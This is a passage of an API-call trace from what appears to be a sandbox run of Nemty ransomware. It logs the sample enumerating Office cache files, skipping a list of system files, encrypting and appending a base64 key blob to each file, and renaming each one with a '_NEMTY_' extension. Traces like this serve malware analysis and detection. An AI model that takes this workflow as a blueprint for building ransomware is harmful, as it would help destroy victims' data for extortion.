| out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.386] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2511872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x265400 [0048.386] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.387] CloseHandle (hObject=0x3c8) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.438] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi._nemty_kgobjgd_")) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.439] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2=".") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="..") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="...") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="windows") returned -1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="rsa") returned -1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="NTDETECT.COM") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ntldr") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="MSDOS.SYS") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="IO.SYS") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="boot.ini") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="boot.ini") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="ntuser.dat") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="desktop.ini") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="RECYCLER") returned -1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="bootmgr") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="programdata") returned 1 [0048.439] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="appdata") returned 1 [0048.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.xml", lpUsedDefaultChar=0x0) returned 14 [0048.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0048.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.440] Sleep (dwMilliseconds=0x5) [0048.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd094fbb0, dwHighDateTime=0x1d561e7)) [0048.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd094fbb0, dwHighDateTime=0x1d561e7)) [0048.451] GetLastError () returned 0x0 [0048.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.451] GetLastError () returned 0x0 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.452] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.452] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Bb4R7/9bZ/0ALYH4f+LzmjDkrceeaMC6oaps/wYte9UC/2UvZcA3Jthg82K6QgAO\r\nEidIUnmTLj0IOsU/PezQrr7CykUUwI8Mm2NWWSVh0P8FVtrtZ2jmLovq7DfwIhsA\r\nu6MqMeA7Rk23+kLgnEZ8R3gQz55Mz/2Lz7j3heCz+Ollmzr53rGiKbiaI2AxBLXn\r\n7CQep8z2wnTz8sZj758GS3Rnn1oETBNKz4wi0KCJhhTlTTClUMcoVPFov4air/Jn\r\n6O3XlE/fjKgV9Ev7gXLJqWOQu6QKRUbqB6j3bEMaY2xi/IK19nlmc3jjIjPfEM2U\r\nDSV76fZFNw/c8g18y/uJXA==\r\n", pcchString=0x653ef9c) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.453] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1452) returned 1 [0048.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0048.453] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.453] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x5a0, lpOverlapped=0x0) returned 1 [0048.454] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.454] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x5a0, lpOverlapped=0x0) returned 1 [0048.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.455] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5ac [0048.455] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.455] CloseHandle (hObject=0x3c8) returned 1 [0048.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.456] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml._nemty_kgobjgd_")) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.456] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2=".") returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="..") returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="...") returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="windows") returned -1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="rsa") returned -1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="NTDETECT.COM") returned 1 [0048.456] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ntldr") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="MSDOS.SYS") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="IO.SYS") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="boot.ini") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="boot.ini") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="ntuser.dat") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="desktop.ini") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="CONFIG.SYS") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="RECYCLER") returned -1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="bootmgr") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="programdata") returned 1 [0048.457] lstrcmpiW (lpString1="ProjLR.cab", lpString2="appdata") returned 1 [0048.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjLR.cab", lpUsedDefaultChar=0x0) returned 10 [0048.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjLR.cab", lpUsedDefaultChar=0x0) returned 10 [0048.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjLR.cab", lpUsedDefaultChar=0x0) returned 10 [0048.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjLR.cab", lpUsedDefaultChar=0x0) returned 10 [0048.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.457] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.457] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.457] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.457] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.458] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 